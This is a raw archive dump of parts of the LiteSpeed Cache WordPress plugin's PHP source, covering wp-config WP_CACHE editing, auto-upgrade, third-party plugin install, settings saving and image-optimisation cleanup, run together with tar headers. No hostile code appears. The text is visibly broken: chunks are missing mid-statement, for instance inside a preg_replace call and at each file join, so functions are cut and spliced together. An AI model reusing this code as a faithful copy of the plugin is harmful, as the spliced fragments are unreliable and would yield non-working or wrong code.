) { $ids = []; if ( $options[ self::O_OBJECT ] ) { $this_ids = [ self::O_DEBUG, self::O_OBJECT_KIND, self::O_OBJECT_HOST, self::O_OBJECT_PORT, self::O_OBJECT_LIFE, self::O_OBJECT_USER, self::O_OBJECT_PSWD, self::O_OBJECT_DB_ID, self::O_OBJECT_PERSISTENT, self::O_OBJECT_ADMIN, self::O_OBJECT_GLOBAL_GROUPS, self::O_OBJECT_NON_PERSISTENT_GROUPS, ]; $ids = array_merge( $ids, $this_ids ); } if ( $options[ self::O_GUEST ] ) { $this_ids = [ self::HASH, self::O_CACHE_LOGIN_COOKIE, self::O_DEBUG_IPS, self::O_UTIL_NO_HTTPS_VARY, ]; $ids = array_merge( $ids, $this_ids ); } $data = []; foreach ( $ids as $v ) { $data[ $v ] = $options[ $v ]; } $data = wp_json_encode( $data ); $old_data = File::read( self::$data_file ); if ( $old_data !== $data ) { defined( 'LSCWP_LOG' ) && Debug2::debug( '[Activation] Updating .litespeed_conf.dat' ); File::save( self::$data_file, $data ); } } /** * Update the WP_CACHE variable in the wp-config.php file. * * If enabling, check if the variable is defined, and if not, define it. * Vice versa for disabling. * * @since 1.0.0 * @since 3.0 Refactored * @param bool $enable Whether to enable WP_CACHE. * @throws \Exception If wp-config.php cannot be modified. * @return bool True if updated, false if no change needed. */ public function manage_wp_cache_const( $enable ) { if ( $enable ) { if ( defined( 'WP_CACHE' ) && WP_CACHE ) { return false; } } elseif ( ! defined( 'WP_CACHE' ) || ( defined( 'WP_CACHE' ) && ! WP_CACHE ) ) { return false; } if ( apply_filters( 'litespeed_wpconfig_readonly', false ) ) { throw new \Exception( 'wp-config file is forbidden to modify due to API hook: litespeed_wpconfig_readonly' ); } /** * Follow WP's logic to locate wp-config file * * @see wp-load.php */ $conf_file = ABSPATH . 'wp-config.php'; if ( ! file_exists( $conf_file ) ) { $conf_file = dirname( ABSPATH ) . '/wp-config.php'; } $content = File::read( $conf_file ); if ( ! $content ) { throw new \Exception( 'wp-config file content is empty: ' . wp_kses_post( $conf_file ) ); } // Remove the line `define('WP_CACHE', true/false);` first if ( defined( 'WP_CACHE' ) ) { $content = preg_replace( '/define\(\s*([\'"])WP_CACHE\1\s*,\s*\w+\s*\)\s*;/sU', '', $content ); } // Insert const if ( $enable ) { $content = preg_replace( '/^<\?php/', "conf( Base::O_AUTO_UPGRADE ) ) { return; } add_filter( 'auto_update_plugin', [ $this, 'auto_update_hook' ], 10, 2 ); } /** * Auto upgrade hook * * Determines whether to auto-update the plugin. * * @since 3.0 * @access public * @param bool $update Whether to update. * @param object $item Plugin data. * @return bool Whether to update. */ public function auto_update_hook( $update, $item ) { if ( ! empty( $item->slug ) && 'litespeed-cache' === $item->slug ) { $auto_v = Cloud::version_check( 'auto_update_plugin' ); if ( ! empty( $auto_v['latest'] ) && ! empty( $item->new_version ) && $auto_v['latest'] === $item->new_version ) { return true; } } return $update; // Else, use the normal API response to decide whether to update or not } /** * Upgrade LSCWP * * Upgrades the LiteSpeed Cache plugin. * * @since 2.9 * @access public */ public function upgrade() { $plugin = Core::PLUGIN_FILE; /** * Load upgrade cls * * @see wp-admin/update.php */ include_once ABSPATH . 'wp-admin/includes/class-wp-upgrader.php'; include_once ABSPATH . 'wp-admin/includes/file.php'; include_once ABSPATH . 'wp-admin/includes/misc.php'; try { ob_start(); $skin = new \WP_Ajax_Upgrader_Skin(); $upgrader = new \Plugin_Upgrader( $skin ); $result = $upgrader->upgrade( $plugin ); if ( ! is_plugin_active( $plugin ) ) { // todo: upgrade should reactivate the plugin again by WP. Need to check why disabled after upgraded. activate_plugin( $plugin, '', is_multisite() ); } ob_end_clean(); } catch ( \Exception $e ) { Admin_Display::error( __( 'Failed to upgrade.', 'litespeed-cache' ) ); return; } if ( is_wp_error( $result ) ) { Admin_Display::error( __( 'Failed to upgrade.', 'litespeed-cache' ) ); return; } Admin_Display::success( __( 'Upgraded successfully.', 'litespeed-cache' ) ); } /** * Detect if the plugin is active or not * * @since 1.0 * @access public * @param string $plugin Plugin slug. * @return bool True if active, false otherwise. */ public function dash_notifier_is_plugin_active( $plugin ) { include_once ABSPATH . 'wp-admin/includes/plugin.php'; $plugin_path = $plugin . '/' . $plugin . '.php'; return is_plugin_active( $plugin_path ); } /** * Detect if the plugin is installed or not * * @since 1.0 * @access public * @param string $plugin Plugin slug. * @return bool True if installed, false otherwise. */ public function dash_notifier_is_plugin_installed( $plugin ) { include_once ABSPATH . 'wp-admin/includes/plugin.php'; $plugin_path = $plugin . '/' . $plugin . '.php'; $valid = validate_plugin( $plugin_path ); return ! is_wp_error( $valid ); } /** * Grab a plugin info from WordPress * * @since 1.0 * @access public * @param string $slug Plugin slug. * @return object|false Plugin info or false on failure. */ public function dash_notifier_get_plugin_info( $slug ) { include_once ABSPATH . 'wp-admin/includes/plugin-install.php'; $result = plugins_api( 'plugin_information', [ 'slug' => $slug ] ); if ( is_wp_error( $result ) ) { return false; } return $result; } /** * Install the 3rd party plugin * * Installs and activates a third-party plugin. * * @since 1.0 * @access public */ public function dash_notifier_install_3rd() { ! defined( 'SILENCE_INSTALL' ) && define( 'SILENCE_INSTALL', true ); // phpcs:ignore $slug = ! empty( $_GET['plugin'] ) ? wp_unslash( sanitize_text_field( $_GET['plugin'] ) ) : false; // Check if plugin is installed already if ( ! $slug || $this->dash_notifier_is_plugin_active( $slug ) ) { return; } /** * Load upgrade cls * * @see wp-admin/update.php */ include_once ABSPATH . 'wp-admin/includes/class-wp-upgrader.php'; include_once ABSPATH . 'wp-admin/includes/file.php'; include_once ABSPATH . 'wp-admin/includes/misc.php'; $plugin_path = $slug . '/' . $slug . '.php'; if ( ! $this->dash_notifier_is_plugin_installed( $slug ) ) { $plugin_info = $this->dash_notifier_get_plugin_info( $slug ); if ( ! $plugin_info ) { return; } // Try to install plugin try { ob_start(); $skin = new \Automatic_Upgrader_Skin(); $upgrader = new \Plugin_Upgrader( $skin ); $result = $upgrader->install( $plugin_info->download_link ); ob_end_clean(); } catch ( \Exception $e ) { return; } } if ( ! is_plugin_active( $plugin_path ) ) { activate_plugin( $plugin_path ); } } /** * Handle all request actions from main cls * * Processes various activation-related actions. * * @since 2.9 * @access public */ public function handler() { $type = Router::verify_type(); switch ( $type ) { case self::TYPE_UPGRADE: $this->upgrade(); break; case self::TYPE_INSTALL_3RD: $this->dash_notifier_install_3rd(); break; case self::TYPE_DISMISS_RECOMMENDED: Cloud::reload_summary(); Cloud::save_summary( [ 'news.new' => 0 ] ); break; case self::TYPE_INSTALL_ZIP: Cloud::reload_summary(); $summary = Cloud::get_summary(); if ( ! empty( $summary['news.zip'] ) ) { Cloud::save_summary( [ 'news.new' => 0 ] ); $this->cls( 'Debug2' )->beta_test( $summary['zip'] ); } break; default: break; } Admin::redirect(); } } admin-settings.cls.php000064400000026167152077520260011005 0ustar00 $raw_data Raw data from request/CLI. * @return void */ public function save( $raw_data ) { self::debug( 'saving' ); if ( empty( $raw_data[ self::ENROLL ] ) ) { wp_die( esc_html__( 'No fields', 'litespeed-cache' ) ); } $raw_data = Admin::cleanup_text( $raw_data ); // Convert data to config format. $the_matrix = []; foreach ( array_unique( $raw_data[ self::ENROLL ] ) as $id ) { $child = false; // Drop array format. if ( false !== strpos( $id, '[' ) ) { if ( 0 === strpos( $id, self::O_CDN_MAPPING ) || 0 === strpos( $id, self::O_CRAWLER_COOKIES ) ) { // CDN child | Cookie Crawler settings. $child = substr( $id, strpos( $id, '[' ) + 1, strpos( $id, ']' ) - strpos( $id, '[' ) - 1 ); // Drop ending []; Compatible with xx[0] way from CLI. $id = substr( $id, 0, strpos( $id, '[' ) ); } else { // Drop ending []. $id = substr( $id, 0, strpos( $id, '[' ) ); } } if ( ! array_key_exists( $id, self::$_default_options ) ) { continue; } // Validate $child. if ( self::O_CDN_MAPPING === $id ) { if ( ! in_array( $child, [ self::CDN_MAPPING_URL, self::CDN_MAPPING_INC_IMG, self::CDN_MAPPING_INC_CSS, self::CDN_MAPPING_INC_JS, self::CDN_MAPPING_FILETYPE ], true ) ) { continue; } } if ( self::O_CRAWLER_COOKIES === $id ) { if ( ! in_array( $child, [ self::CRWL_COOKIE_NAME, self::CRWL_COOKIE_VALS ], true ) ) { continue; } } // Pull value from request. if ( $child ) { // []=xxx or [0]=xxx $data = ! empty( $raw_data[ $id ][ $child ] ) ? $raw_data[ $id ][ $child ] : $this->type_casting(false, $id); } else { $data = ! empty( $raw_data[ $id ] ) ? $raw_data[ $id ] : $this->type_casting(false, $id); } // Sanitize/normalize complex fields. if ( self::O_CDN_MAPPING === $id || self::O_CRAWLER_COOKIES === $id ) { // Use existing queued data if available (only when $child != false). $data2 = array_key_exists( $id, $the_matrix ) ? $the_matrix[ $id ] : ( defined( 'WP_CLI' ) && WP_CLI ? $this->conf( $id ) : [] ); } switch ( $id ) { // Don't allow Editor/admin to be used in crawler role simulator. case self::O_CRAWLER_ROLES: $data = Utility::sanitize_lines( $data ); if ( $data ) { foreach ( $data as $k => $v ) { if ( user_can( $v, 'edit_posts' ) ) { /* translators: %s: user id in tags */ $msg = sprintf( esc_html__( 'The user with id %s has editor access, which is not allowed for the role simulator.', 'litespeed-cache' ), '' . esc_html( $v ) . '' ); Admin_Display::error( $msg ); unset( $data[ $k ] ); } } } break; case self::O_CDN_MAPPING: /** * CDN setting * * Raw data format: * cdn-mapping[url][] = 'xxx' * cdn-mapping[url][2] = 'xxx2' * cdn-mapping[inc_js][] = 1 * * Final format: * cdn-mapping[0][url] = 'xxx' * cdn-mapping[2][url] = 'xxx2' */ if ( $data ) { foreach ( $data as $k => $v ) { if ( self::CDN_MAPPING_FILETYPE === $child ) { $v = Utility::sanitize_lines( $v ); } if ( self::CDN_MAPPING_URL === $child ) { // If not a valid URL, turn off CDN. if ( 0 !== strpos( $v, 'https://' ) ) { self::debug( '❌ CDN mapping set to OFF due to invalid URL' ); $the_matrix[ self::O_CDN ] = false; } $v = trailingslashit( $v ); } if ( in_array( $child, [ self::CDN_MAPPING_INC_IMG, self::CDN_MAPPING_INC_CSS, self::CDN_MAPPING_INC_JS ], true ) ) { // Because these can't be auto detected in `config->update()`, need to format here. $v = 'false' === $v ? 0 : (bool) $v; } if ( empty( $data2[ $k ] ) ) { $data2[ $k ] = []; } $data2[ $k ][ $child ] = $v; } } $data = $data2; break; case self::O_CRAWLER_COOKIES: /** * Cookie Crawler setting * Raw Format: * crawler-cookies[name][] = xxx * crawler-cookies[name][2] = xxx2 * crawler-cookies[vals][] = xxx * * Final format: * crawler-cookie[0][name] = 'xxx' * crawler-cookie[0][vals] = 'xxx' * crawler-cookie[2][name] = 'xxx2' * * Empty line for `vals` uses literal `_null`. */ if ( $data ) { foreach ( $data as $k => $v ) { if ( self::CRWL_COOKIE_VALS === $child ) { $v = Utility::sanitize_lines( $v ); } if ( empty( $data2[ $k ] ) ) { $data2[ $k ] = []; } $data2[ $k ][ $child ] = $v; } } $data = $data2; break; // Cache exclude category. case self::O_CACHE_EXC_CAT: $data2 = []; $data = Utility::sanitize_lines( $data ); foreach ( $data as $v ) { $cat_id = get_cat_ID( $v ); if ( ! $cat_id ) { continue; } $data2[] = $cat_id; } $data = $data2; break; // Cache exclude tag. case self::O_CACHE_EXC_TAG: $data2 = []; $data = Utility::sanitize_lines( $data ); foreach ( $data as $v ) { $term = get_term_by( 'name', $v, 'post_tag' ); if ( ! $term ) { // Could surface an admin error here if desired. continue; } $data2[] = $term->term_id; } $data = $data2; break; case self::O_IMG_OPTM_SIZES_SKIPPED: // Skip image sizes $image_sizes = Utility::prepare_image_sizes_array(); $saved_sizes = isset( $raw_data[$id] ) ? $raw_data[$id] : []; $data = array_diff( $image_sizes, $saved_sizes ); break; default: break; } $the_matrix[ $id ] = $data; } // Special handler for CDN/Crawler 2d list to drop empty rows. foreach ( $the_matrix as $id => $data ) { /** * Format: * cdn-mapping[0][url] = 'xxx' * cdn-mapping[2][url] = 'xxx2' * crawler-cookie[0][name] = 'xxx' * crawler-cookie[0][vals] = 'xxx' * crawler-cookie[2][name] = 'xxx2' */ if ( self::O_CDN_MAPPING === $id || self::O_CRAWLER_COOKIES === $id ) { // Drop row if all children are empty. foreach ( $data as $k => $v ) { foreach ( $v as $v2 ) { if ( $v2 ) { continue 2; } } // All empty. unset( $the_matrix[ $id ][ $k ] ); } } // Don't allow repeated cookie names. if ( self::O_CRAWLER_COOKIES === $id ) { $existed = []; foreach ( $the_matrix[ $id ] as $k => $v ) { if ( empty( $v[ self::CRWL_COOKIE_NAME ] ) || in_array( $v[ self::CRWL_COOKIE_NAME ], $existed, true ) ) { // Filter repeated or empty name. unset( $the_matrix[ $id ][ $k ] ); continue; } $existed[] = $v[ self::CRWL_COOKIE_NAME ]; } } // tmp fix the 3rd part woo update hook issue when enabling vary cookie. if ( 'wc_cart_vary' === $id ) { if ( $data ) { add_filter( 'litespeed_vary_cookies', function ( $arr ) { $arr[] = 'woocommerce_cart_hash'; return array_unique( $arr ); } ); } else { add_filter( 'litespeed_vary_cookies', function ( $arr ) { $key = array_search( 'woocommerce_cart_hash', $arr, true ); if ( false !== $key ) { unset( $arr[ $key ] ); } return array_unique( $arr ); } ); } } } // id validation will be inside. $this->cls( 'Conf' )->update_confs( $the_matrix ); $msg = __( 'Options saved.', 'litespeed-cache' ); Admin_Display::success( $msg ); } /** * Parses any changes made by the network admin on the network settings. * * @since 3.0 * * @param array $raw_data Raw data from request/CLI. * @return void */ public function network_save( $raw_data ) { self::debug( 'network saving' ); if ( empty( $raw_data[ self::ENROLL ] ) ) { wp_die( esc_html__( 'No fields', 'litespeed-cache' ) ); } $raw_data = Admin::cleanup_text( $raw_data ); foreach ( array_unique( $raw_data[ self::ENROLL ] ) as $id ) { // Append current field to setting save. if ( ! array_key_exists( $id, self::$_default_site_options ) ) { continue; } $data = ! empty( $raw_data[ $id ] ) ? $raw_data[ $id ] : false; // id validation will be inside. $this->cls( 'Conf' )->network_update( $id, $data ); } // Update related files. Activation::cls()->update_files(); $msg = __( 'Options saved.', 'litespeed-cache' ); Admin_Display::success( $msg ); } /** * Hooked to the wp_redirect filter when saving widgets fails validation. * * @since 1.1.3 * * @param string $location The redirect location. * @return string Updated location string. */ public static function widget_save_err( $location ) { return str_replace( '?message=0', '?error=0', $location ); } /** * Validate the LiteSpeed Cache settings on widget save. * * @since 1.1.3 * * @param array $instance The new settings. * @param array $new_instance The raw submitted settings. * @param array $old_instance The original settings. * @param \WP_Widget $widget The widget instance. * @return array|false Updated settings on success, false on error. */ public static function validate_widget_save( $instance, $new_instance, $old_instance, $widget ) { if ( empty( $new_instance ) ) { return $instance; } if ( ! isset( $new_instance[ ESI::WIDGET_O_ESIENABLE ], $new_instance[ ESI::WIDGET_O_TTL ] ) ) { return $instance; } $esi = (int) $new_instance[ ESI::WIDGET_O_ESIENABLE ] % 3; $ttl = (int) $new_instance[ ESI::WIDGET_O_TTL ]; if ( 0 !== $ttl && $ttl < 30 ) { add_filter( 'wp_redirect', __CLASS__ . '::widget_save_err' ); return false; // Invalid ttl. } if ( empty( $instance[ Conf::OPTION_NAME ] ) ) { // @todo to be removed. $instance[ Conf::OPTION_NAME ] = []; } $instance[ Conf::OPTION_NAME ][ ESI::WIDGET_O_ESIENABLE ] = $esi; $instance[ Conf::OPTION_NAME ][ ESI::WIDGET_O_TTL ] = $ttl; $current = ! empty( $old_instance[ Conf::OPTION_NAME ] ) ? $old_instance[ Conf::OPTION_NAME ] : false; // Avoid unsanitized superglobal usage. $referrer = isset( $_SERVER['HTTP_REFERER'] ) ? esc_url_raw( wp_unslash( $_SERVER['HTTP_REFERER'] ) ) : ''; // Only purge when not in the Customizer. if ( false === strpos( $referrer, '/wp-admin/customize.php' ) ) { if ( ! $current || $esi !== (int) $current[ ESI::WIDGET_O_ESIENABLE ] ) { Purge::purge_all( 'Widget ESI_enable changed' ); } elseif ( 0 !== $ttl && $ttl !== (int) $current[ ESI::WIDGET_O_TTL ] ) { Purge::add( Tag::TYPE_WIDGET . $widget->id ); } Purge::purge_all( 'Widget saved' ); } return $instance; } } img-optm-manage.trait.php000064400000075542152077520260011401 0ustar00__data->tb_exist( 'img_optm' ) ) { // phpcs:ignore WordPress.DB.DirectDatabaseQuery, WordPress.DB.PreparedSQL.InterpolatedNotPrepared $count = $wpdb->get_var( $wpdb->prepare( "SELECT COUNT(1) FROM `$this->_table_img_optm` WHERE post_id = %d", $post_id ) ); if ( $count > 0 ) { return true; } } // Check img_optming table if ( $this->__data->tb_exist( 'img_optming' ) ) { // phpcs:ignore WordPress.DB.DirectDatabaseQuery, WordPress.DB.PreparedSQL.InterpolatedNotPrepared $count = $wpdb->get_var( $wpdb->prepare( "SELECT COUNT(1) FROM `$this->_table_img_optming` WHERE post_id = %d", $post_id ) ); if ( $count > 0 ) { return true; } } // Check if optimized files exist (.webp, .avif) if ( null === $metadata ) { $metadata = wp_get_attachment_metadata( $post_id ); } if ( ! empty( $metadata['file'] ) ) { $short_file_path = $metadata['file']; if ( $this->__media->info( $short_file_path . '.webp', $post_id ) ) { return true; } if ( $this->__media->info( $short_file_path . '.avif', $post_id ) ) { return true; } } return false; } /** * Clean up all unfinished queue locally and to Cloud server * * @since 2.1.2 * @access public */ public function clean() { global $wpdb; // Reset img_optm table's queue if ( $this->__data->tb_exist( 'img_optming' ) ) { // Get min post id to mark $q = "SELECT MIN(post_id) FROM `$this->_table_img_optming`"; // phpcs:ignore WordPress.DB.DirectDatabaseQuery, WordPress.DB.PreparedSQL.NotPrepared $min_pid = $wpdb->get_var( $q ) - 1; if ( $this->_summary['next_post_id'] > $min_pid ) { $this->_summary['next_post_id'] = $min_pid; self::save_summary(); } $q = "DELETE FROM `$this->_table_img_optming`"; // phpcs:ignore WordPress.DB.DirectDatabaseQuery, WordPress.DB.PreparedSQL.NotPrepared $wpdb->query( $q ); } $msg = __( 'Cleaned up unfinished data successfully.', 'litespeed-cache' ); Admin_Display::success( $msg ); } /** * Reset image counter * * @since 7.0 * @access private */ private function _reset_counter() { self::debug( 'reset image optm counter' ); $this->_summary['next_post_id'] = 0; self::save_summary(); $this->clean(); $msg = __( 'Reset image optimization counter successfully.', 'litespeed-cache' ); Admin_Display::success( $msg ); } /** * Destroy all optimized images * * @since 3.0 * @access private */ private function _destroy() { global $wpdb; self::debug( 'executing DESTROY process' ); // phpcs:ignore WordPress.Security.NonceVerification.Recommended $offset = ! empty( $_GET['litespeed_i'] ) ? absint( wp_unslash( $_GET['litespeed_i'] ) ) : 0; /** * Limit images each time before redirection to fix Out of memory issue. #665465 * * @since 2.9.8 */ // Start deleting files $limit = apply_filters( 'litespeed_imgoptm_destroy_max_rows', 500 ); $img_q = "SELECT b.post_id, b.meta_value FROM `$wpdb->posts` a LEFT JOIN `$wpdb->postmeta` b ON b.post_id = a.ID WHERE b.meta_key = '_wp_attachment_metadata' AND a.post_type = 'attachment' AND a.post_status = 'inherit' AND a.post_mime_type IN ('image/jpeg', 'image/png', 'image/gif') ORDER BY a.ID LIMIT %d,%d "; // phpcs:ignore WordPress.DB.DirectDatabaseQuery, WordPress.DB.PreparedSQL.NotPrepared $q = $wpdb->prepare( $img_q, [ $offset * $limit, $limit ] ); // phpcs:ignore WordPress.DB.DirectDatabaseQuery, WordPress.DB.PreparedSQL.NotPrepared $list = $wpdb->get_results( $q ); $i = 0; foreach ( $list as $v ) { if ( ! $v->post_id ) { continue; } $meta_value = $this->_parse_wp_meta_value( $v ); if ( ! $meta_value ) { continue; } ++$i; $this->tmp_pid = $v->post_id; $this->tmp_path = pathinfo( $meta_value['file'], PATHINFO_DIRNAME ) . '/'; $this->_destroy_optm_file( $meta_value, true ); if ( ! empty( $meta_value['sizes'] ) ) { array_map( [ $this, '_destroy_optm_file' ], $meta_value['sizes'] ); } } self::debug( 'batch switched images total: ' . $i ); ++$offset; // phpcs:ignore WordPress.DB.DirectDatabaseQuery, WordPress.DB.PreparedSQL.NotPrepared $to_be_continued = $wpdb->get_row( $wpdb->prepare( $img_q, [ $offset * $limit, 1 ] ) ); if ( $to_be_continued ) { // Check if post_id is beyond next_post_id self::debug( '[next_post_id] ' . $this->_summary['next_post_id'] . ' [cursor post id] ' . $to_be_continued->post_id ); if ( $to_be_continued->post_id <= $this->_summary['next_post_id'] ) { self::debug( 'redirecting to next' ); return Router::self_redirect( Router::ACTION_IMG_OPTM, self::TYPE_DESTROY ); } self::debug( '🎊 Finished destroying' ); } // Delete postmeta info $q = "DELETE FROM `$wpdb->postmeta` WHERE meta_key = %s"; // phpcs:ignore WordPress.DB.DirectDatabaseQuery, WordPress.DB.PreparedSQL.NotPrepared $wpdb->query( $wpdb->prepare( $q, self::DB_SIZE ) ); // phpcs:ignore WordPress.DB.DirectDatabaseQuery, WordPress.DB.PreparedSQL.NotPrepared $wpdb->query( $wpdb->prepare( $q, self::DB_SET ) ); // Delete img_optm table $this->__data->tb_del( 'img_optm' ); $this->__data->tb_del( 'img_optming' ); // Clear options table summary info self::delete_option( '_summary' ); self::delete_option( self::DB_NEED_PULL ); $msg = __( 'Destroy all optimization data successfully.', 'litespeed-cache' ); Admin_Display::success( $msg ); } /** * Destroy optm file * * @since 3.0 * @access private * @param array $meta_value The meta value array containing file info. * @param bool $is_ori_file Whether this is the original file. */ private function _destroy_optm_file( $meta_value, $is_ori_file = false ) { $short_file_path = $meta_value['file']; if ( ! $is_ori_file ) { $short_file_path = $this->tmp_path . $short_file_path; } self::debug( 'deleting ' . $short_file_path ); // del webp $this->__media->info( $short_file_path . '.webp', $this->tmp_pid ) && $this->__media->del( $short_file_path . '.webp', $this->tmp_pid ); $this->__media->info( $short_file_path . '.optm.webp', $this->tmp_pid ) && $this->__media->del( $short_file_path . '.optm.webp', $this->tmp_pid ); // del avif $this->__media->info( $short_file_path . '.avif', $this->tmp_pid ) && $this->__media->del( $short_file_path . '.avif', $this->tmp_pid ); $this->__media->info( $short_file_path . '.optm.avif', $this->tmp_pid ) && $this->__media->del( $short_file_path . '.optm.avif', $this->tmp_pid ); $extension = pathinfo( $short_file_path, PATHINFO_EXTENSION ); $local_filename = substr( $short_file_path, 0, -strlen( $extension ) - 1 ); $bk_file = $local_filename . '.bk.' . $extension; $bk_optm_file = $local_filename . '.bk.optm.' . $extension; // del optimized ori if ( $this->__media->info( $bk_file, $this->tmp_pid ) ) { self::debug( 'deleting optim ori' ); $this->__media->del( $short_file_path, $this->tmp_pid ); $this->__media->rename( $bk_file, $short_file_path, $this->tmp_pid ); } $this->__media->info( $bk_optm_file, $this->tmp_pid ) && $this->__media->del( $bk_optm_file, $this->tmp_pid ); } /** * Rescan to find new generated images * * @since 1.6.7 * @access private */ private function _rescan() { // phpcs:ignore Squiz.PHP.NonExecutableCode exit( 'tobedone' ); // phpcs:disable Squiz.PHP.NonExecutableCode global $wpdb; // phpcs:ignore WordPress.Security.NonceVerification.Recommended $offset = ! empty( $_GET['litespeed_i'] ) ? absint( wp_unslash( $_GET['litespeed_i'] ) ) : 0; $limit = 500; self::debug( 'rescan images' ); // Get images $q = "SELECT b.post_id, b.meta_value FROM `$wpdb->posts` a, `$wpdb->postmeta` b WHERE a.post_type = 'attachment' AND a.post_status = 'inherit' AND a.post_mime_type IN ('image/jpeg', 'image/png', 'image/gif') AND a.ID = b.post_id AND b.meta_key = '_wp_attachment_metadata' ORDER BY a.ID LIMIT %d, %d "; // phpcs:ignore WordPress.DB.DirectDatabaseQuery, WordPress.DB.PreparedSQL.NotPrepared $list = $wpdb->get_results( $wpdb->prepare( $q, $offset * $limit, $limit + 1 ) ); // last one is the seed for next batch if ( ! $list ) { $msg = __( 'Rescanned successfully.', 'litespeed-cache' ); Admin_Display::success( $msg ); self::debug( 'rescan bypass: no gathered image found' ); return; } if ( count( $list ) === $limit + 1 ) { $to_be_continued = true; array_pop( $list ); // last one is the seed for next round, discard here. } else { $to_be_continued = false; } // Prepare post_ids to inquery gathered images $pid_set = []; $scanned_list = []; foreach ( $list as $v ) { $meta_value = $this->_parse_wp_meta_value( $v ); if ( ! $meta_value ) { continue; } $scanned_list[] = [ 'pid' => $v->post_id, 'meta' => $meta_value, ]; $pid_set[] = $v->post_id; } // Build gathered images $q = "SELECT src, post_id FROM `$this->_table_img_optm` WHERE post_id IN (" . implode( ',', array_fill( 0, count( $pid_set ), '%d' ) ) . ')'; // phpcs:ignore WordPress.DB.DirectDatabaseQuery, WordPress.DB.PreparedSQL.NotPrepared $list = $wpdb->get_results( $wpdb->prepare( $q, $pid_set ) ); foreach ( $list as $v ) { $this->_existed_src_list[] = $v->post_id . '.' . $v->src; } // Find new images foreach ( $scanned_list as $v ) { $meta_value = $v['meta']; // Parse all child src and put them into $this->_img_in_queue, missing ones to $this->_img_in_queue_missed $this->tmp_pid = $v['pid']; $this->tmp_path = pathinfo( $meta_value['file'], PATHINFO_DIRNAME ) . '/'; $this->_append_img_queue( $meta_value, true ); if ( ! empty( $meta_value['sizes'] ) ) { foreach ( $meta_value['sizes'] as $img_size_name => $img_size ) { $this->_append_img_queue( $img_size, false, $img_size_name ); } } } self::debug( 'rescanned [img] ' . count( $this->_img_in_queue ) ); $count = count( $this->_img_in_queue ); if ( $count > 0 ) { // Save to DB $this->_save_raw(); } if ( $to_be_continued ) { return Router::self_redirect( Router::ACTION_IMG_OPTM, self::TYPE_RESCAN ); } $msg = $count ? sprintf( __( 'Rescanned %d images successfully.', 'litespeed-cache' ), $count ) : __( 'Rescanned successfully.', 'litespeed-cache' ); Admin_Display::success( $msg ); // phpcs:enable Squiz.PHP.NonExecutableCode } /** * Calculate bkup original images storage * * @since 2.2.6 * @access private */ private function _calc_bkup() { global $wpdb; // phpcs:ignore WordPress.Security.NonceVerification.Recommended $offset = ! empty( $_GET['litespeed_i'] ) ? absint( wp_unslash( $_GET['litespeed_i'] ) ) : 0; $limit = 500; if ( ! $offset ) { $this->_summary['bk_summary'] = [ 'date' => time(), 'count' => 0, 'sum' => 0, ]; } $img_q = "SELECT b.post_id, b.meta_value FROM `$wpdb->posts` a LEFT JOIN `$wpdb->postmeta` b ON b.post_id = a.ID WHERE b.meta_key = '_wp_attachment_metadata' AND a.post_type = 'attachment' AND a.post_status = 'inherit' AND a.post_mime_type IN ('image/jpeg', 'image/png', 'image/gif') ORDER BY a.ID LIMIT %d,%d "; // phpcs:ignore WordPress.DB.DirectDatabaseQuery, WordPress.DB.PreparedSQL.NotPrepared $q = $wpdb->prepare( $img_q, [ $offset * $limit, $limit ] ); // phpcs:ignore WordPress.DB.DirectDatabaseQuery, WordPress.DB.PreparedSQL.NotPrepared $list = $wpdb->get_results( $q ); foreach ( $list as $v ) { if ( ! $v->post_id ) { continue; } $meta_value = $this->_parse_wp_meta_value( $v ); if ( ! $meta_value ) { continue; } $this->tmp_pid = $v->post_id; $this->tmp_path = pathinfo( $meta_value['file'], PATHINFO_DIRNAME ) . '/'; $this->_get_bk_size( $meta_value, true ); if ( ! empty( $meta_value['sizes'] ) ) { array_map( [ $this, '_get_bk_size' ], $meta_value['sizes'] ); } } $this->_summary['bk_summary']['date'] = time(); self::save_summary(); self::debug( '_calc_bkup total: ' . $this->_summary['bk_summary']['count'] . ' [size] ' . $this->_summary['bk_summary']['sum'] ); ++$offset; // phpcs:ignore WordPress.DB.DirectDatabaseQuery, WordPress.DB.PreparedSQL.NotPrepared $to_be_continued = $wpdb->get_row( $wpdb->prepare( $img_q, [ $offset * $limit, 1 ] ) ); if ( $to_be_continued ) { return Router::self_redirect( Router::ACTION_IMG_OPTM, self::TYPE_CALC_BKUP ); } $msg = __( 'Calculated backups successfully.', 'litespeed-cache' ); Admin_Display::success( $msg ); } /** * Calculate single size * * @since 2.2.6 * @access private * @param array $meta_value The meta value array containing file info. * @param bool $is_ori_file Whether this is the original file. */ private function _get_bk_size( $meta_value, $is_ori_file = false ) { $short_file_path = $meta_value['file']; if ( ! $is_ori_file ) { $short_file_path = $this->tmp_path . $short_file_path; } $extension = pathinfo( $short_file_path, PATHINFO_EXTENSION ); $local_filename = substr( $short_file_path, 0, -strlen( $extension ) - 1 ); $bk_file = $local_filename . '.bk.' . $extension; $img_info = $this->__media->info( $bk_file, $this->tmp_pid ); if ( ! $img_info ) { return; } ++$this->_summary['bk_summary']['count']; $this->_summary['bk_summary']['sum'] += $img_info['size']; } /** * Delete bkup original images storage * * @since 2.5 * @access public */ public function rm_bkup() { global $wpdb; if ( ! $this->__data->tb_exist( 'img_optming' ) ) { return; } // phpcs:ignore WordPress.Security.NonceVerification.Recommended $offset = ! empty( $_GET['litespeed_i'] ) ? absint( wp_unslash( $_GET['litespeed_i'] ) ) : 0; $limit = 500; if ( empty( $this->_summary['rmbk_summary'] ) ) { $this->_summary['rmbk_summary'] = [ 'date' => time(), 'count' => 0, 'sum' => 0, ]; } $img_q = "SELECT b.post_id, b.meta_value FROM `$wpdb->posts` a LEFT JOIN `$wpdb->postmeta` b ON b.post_id = a.ID WHERE b.meta_key = '_wp_attachment_metadata' AND a.post_type = 'attachment' AND a.post_status = 'inherit' AND a.post_mime_type IN ('image/jpeg', 'image/png', 'image/gif') ORDER BY a.ID LIMIT %d,%d "; // phpcs:ignore WordPress.DB.DirectDatabaseQuery, WordPress.DB.PreparedSQL.NotPrepared $q = $wpdb->prepare( $img_q, [ $offset * $limit, $limit ] ); // phpcs:ignore WordPress.DB.DirectDatabaseQuery, WordPress.DB.PreparedSQL.NotPrepared $list = $wpdb->get_results( $q ); foreach ( $list as $v ) { if ( ! $v->post_id ) { continue; } $meta_value = $this->_parse_wp_meta_value( $v ); if ( ! $meta_value ) { continue; } $this->tmp_pid = $v->post_id; $this->tmp_path = pathinfo( $meta_value['file'], PATHINFO_DIRNAME ) . '/'; $this->_del_bk_file( $meta_value, true ); if ( ! empty( $meta_value['sizes'] ) ) { 